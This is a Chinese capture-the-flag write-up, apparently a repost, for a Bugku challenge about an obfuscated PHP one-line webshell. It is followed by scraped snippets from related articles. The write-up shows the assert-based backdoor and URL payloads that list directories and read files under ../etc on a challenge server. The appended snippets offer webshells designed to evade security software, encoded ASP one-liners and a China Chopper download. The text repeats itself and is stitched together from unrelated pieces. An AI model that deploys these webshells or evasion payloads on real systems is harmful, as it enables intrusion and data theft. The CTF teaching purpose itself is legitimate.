bugku 过狗一句话

题目描述:

题目描述:

上面的php进行格式化之后:

<?php     $poc="a#s#s#e#r#t";    $poc_1=explode("#",$poc);                 $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];    $poc_2($_GET[‘s‘]) ?>

其整体的意思是:检查 get 得到的断言是否成立(用来判断一个表达式是否成立),参数会被执行

$poc_2和_GET[‘s‘]都会被解析成相应的函数,之后再执行

assert($_GET[‘s‘])

看看大佬的博客,构造payload,爆出当前目录下的文件名:
 http://123.206.87.240:8010/?s=print_r(scandir(%27./%27))

%27是单引号 ‘  的url编码
读出来array数组的值:
 Array ( [0] => . [1] => .. [2] => 666.php [3] => 777.php [4] => a.php [5] => aa.php [6] => asd.php [7] => b.php [8] => flag_aaa.txt [9] => flag_sm1skla1.txt [10] => index.php [11] => newfile.txt [12] => readme.txt [13] => sy.php [14] => sy1.php [15] => sy2.php [16] => t1.php [17] => test.php [18] => test.txt [19] => testfile.txt [20] => webshell.php )
 一个一个试:
 最后这个url得到flag
 http://123.206.87.240:8010/flag_sm1skla1.txt

试一下读取上级目录
 http://123.206.87.240:8010/?s=print_r(scandir(%27../%27))
 
 也可以读出来,权限没有限制。
 读取当前目录,返回结果跟 ‘./ ‘ 一样,看来当前的目录名为web:

http://123.206.87.240:8010/?s=print_r(scandir(%27../web%27))
 
 etc目录下的文件:
 看了一圈发现,只要去直接访问资源,它就会有权限限制,而获取目录结构,是允许的。
 
 当然可以构造其他的payload去获取想要的资源:
 
 http://123.206.87.240:8010/?=print_r(readfile(‘../etc/nsswitch.conf‘)) http://123.206.87.240:8010/?s=print_r(fopen(‘../etc/nsswitch.conf‘,‘r‘))
 在读取host文件时可以读出来,不知道nsswitch.conf是没权限还是因为其没内容,直接就显示空白,但访问成功了。

知识点

explode(separator,string,limit)        把字符串打散为数组。
 separator
    必需。规定在哪里分割字符串。
   string
    必需。要分割的字符串。
   limit
    
    可选。规定所返回的数组元素的数目。

大于 0 - 返回包含最多 limit 个元素的数组

小于 0 - 返回包含除了最后的 -limit 个元素以外的所有元素的数组

0 - 返回包含一个元素的数组
    
   
 eval函数中参数是字符,如:
     eval(‘echo 1;‘);
 assert函数中参数为表达式 (或者为函数),如:
     assert(phpinfo())
     直接传递普通代码是无法执行的,如:assert(‘echo 1;’);
 scandir()
 $dir = "/images/";
 $a = scandir($dir);        // 以升序排序 - 默认
 $b = scandir($dir,1);    // 以降序排序
 一个过狗的总结https://www.jianshu.com/p/0510ce81566d
————————————————
版权声明:本文为CSDN博主「s0i1」的原创文章,遵循 CC 4.0 BY 版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/changer_WE/article/details/89304399

上面的php进行格式化之后:

<?php     $poc="a#s#s#e#r#t";    $poc_1=explode("#",$poc);                 $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];    $poc_2($_GET[‘s‘]) ?>

其整体的意思是:检查 get 得到的断言是否成立(用来判断一个表达式是否成立),参数会被执行

$poc_2和_GET[‘s‘]都会被解析成相应的函数,之后再执行

assert($_GET[‘s‘])

看看大佬的博客,构造payload,爆出当前目录下的文件名:
 http://123.206.87.240:8010/?s=print_r(scandir(%27./%27))

%27是单引号 ‘  的url编码
读出来array数组的值:
 Array ( [0] => . [1] => .. [2] => 666.php [3] => 777.php [4] => a.php [5] => aa.php [6] => asd.php [7] => b.php [8] => flag_aaa.txt [9] => flag_sm1skla1.txt [10] => index.php [11] => newfile.txt [12] => readme.txt [13] => sy.php [14] => sy1.php [15] => sy2.php [16] => t1.php [17] => test.php [18] => test.txt [19] => testfile.txt [20] => webshell.php )
 一个一个试:
 最后这个url得到flag
 http://123.206.87.240:8010/flag_sm1skla1.txt

试一下读取上级目录
 http://123.206.87.240:8010/?s=print_r(scandir(%27../%27))
 
 也可以读出来,权限没有限制。
 读取当前目录,返回结果跟 ‘./ ‘ 一样,看来当前的目录名为web:

http://123.206.87.240:8010/?s=print_r(scandir(%27../web%27))
 
 etc目录下的文件:
 看了一圈发现,只要去直接访问资源,它就会有权限限制,而获取目录结构,是允许的。
 
 当然可以构造其他的payload去获取想要的资源:
 
 http://123.206.87.240:8010/?=print_r(readfile(‘../etc/nsswitch.conf‘)) http://123.206.87.240:8010/?s=print_r(fopen(‘../etc/nsswitch.conf‘,‘r‘))
 在读取host文件时可以读出来,不知道nsswitch.conf是没权限还是因为其没内容,直接就显示空白,但访问成功了。

知识点

explode(separator,string,limit)        把字符串打散为数组。
 separator
    必需。规定在哪里分割字符串。
   string
    必需。要分割的字符串。
   limit
    
    可选。规定所返回的数组元素的数目。

大于 0 - 返回包含最多 limit 个元素的数组

小于 0 - 返回包含除了最后的 -limit 个元素以外的所有元素的数组

0 - 返回包含一个元素的数组
    
   
 eval函数中参数是字符,如:
     eval(‘echo 1;‘);
 assert函数中参数为表达式 (或者为函数),如:
     assert(phpinfo())
     直接传递普通代码是无法执行的,如:assert(‘echo 1;’);
 scandir()
 $dir = "/images/";
 $a = scandir($dir);        // 以升序排序 - 默认
 $b = scandir($dir,1);    // 以降序排序
 一个过狗的总结https://www.jianshu.com/p/0510ce81566d
————————————————
版权声明:本文为CSDN博主「s0i1」的原创文章,遵循 CC 4.0 BY 版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/changer_WE/article/details/89304399

原文地址:https://www.cnblogs.com/ainv-123/p/11629991.html

时间: 2024-10-06 21:52:56

bugku 过狗一句话的相关文章

各种过安全狗一句话木马

几个变性的asp–过防火墙 过狗效果都不错 <%Y=request("x")%> <%execute(Y)%> <%eval (eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))("sz"))%> 这个是90sec发的 <%eval""&("e"&"v"&&

整理的最新WebSHell (php过狗一句话,过狗菜刀,2016过狗一句话,2016php免杀一句话)

中国菜刀下载,基于原版中国菜刀优化版20160309. 下载地址: http://download.csdn.net/detail/settoken/9457567 https://pan.baidu.com/s/1jHoJxHW China chopper https://pan.baidu.com/s/1eRxEYjC 特别推荐的一个php一句话. 菜刀可以连接,过waf,过安全狗,D盾,360,php一句话木马带404页面,带MD5加密,可浏览器POST任意php代码执行. 代码如下: <

无特征过狗一句话猥琐思路(代码执行)

来自:https://bypass.world/2017/01/%E6%97%A0%E7%89%B9%E5%BE%81%E8%BF%87%E7%8B%97%E4%B8%80%E5%8F%A5%E8%AF%9D%E6%80%9D%E8%B7%AF/ 0x01.姿势一 我们知道php动态函数很有意思,那么你猜到了,姿势一就是: <?php $_POST['xx']($_POST['oo']);?> 注意xx参数设置成eval是不行的哦,让我们来看看效果: 0x02.姿势二 关键词是过滤了,但是你老

过狗一句话

siteName="":Execute(DeAsc("%119%136%115%126%50%132%119%131%135%119%133%134%58%52%116%115%133%119%52%59")):Function DeAsc(Str):Str=Split(Str,"%"):For I=1 To Ubound(Str):DeAsc=DeAsc&Chr(Str(I)-18):Next:End Function'" '

21.过狗一句话

看了一些大佬的做题方法,做一下小小总结: 要知道的小知识: explode() 函数把字符串打散为数组,$poc_1=assert; assert() 任意代码执行,打印当前目录 1.使用?s=print_r(scandir('./'))进行目录扫描以发现代码的执行漏洞 2.也可以通过查看所有的文件的方式? s=print_r(glob('*.*')) 原文地址:https://www.cnblogs.com/tqqnb/p/12078356.html

关于安全狗文件上传

文章转载至科拉实验室,作者倾旋@科拉实验室 Part 1 分析 此文主要研究安全狗的数据包分析功能,由于很多人都认为安全狗是通过正则去匹配的,那么暂且那么说吧.这款应用层的WAF的确在测试中让人头大.那么安全狗是如何分析我们的数据的呢?在这里我做了一个拓扑图: Part 2 测试过程 测试系统:WINXP脚本语言:PHP5.4.45WEB服务器:Apache/2.4.23(Win32)安全狗版本:3.5.12048目前,用一个PHP上传文件的脚本来做上传测试. <?php if ((($_FIL

一句话木马

1.一句话说明 常用的一句话有冰狐浪子的一句话,蓝屏的,lack2的,当然还有海洋的.我们如果知道了一句话的原理.自己也可以很轻松的写一个. <%execute(request("cmd"))%> <%execute request("1")%> ASP一句话16进制:┼攠數畣整爠煥敵瑳∨≡┩愾 密码a 2.简单演示 1>.一句话你要写入数据库,数据库必须是asp格式或者我们能够通过备份备份为asp格式.用客户端连接这个asp的数据库.

一句话

PHP一句话:1.普通一句话 <!--?php @eval($_POST['ki11']);?--> 2.防爆破一句话 <!--?php substr(md5($_REQUEST['x']),28)=='6862'&&eval($_REQUEST['ki11']);?--> //菜刀地址http://192.168.64.137/x.php?x=myh0st 密码:ki11 3.过狗一句话 <!--?php ([email protected]$_GET[s]

Yzmcms后台拿shell

废话不多说,直入正题 首先function.php 可以看到此方法是用数组遍历的方式写入到/config/config.php 打开config.php看看 <?php return array(   //系统配置 'site_theme' => 'default', //站点默认主题目录 'url_html_suffix' => '.html', //URL伪静态后缀   //数据库配置 'db_type' => 'mysqli', // 数据库链接扩展[暂支持 mysql 和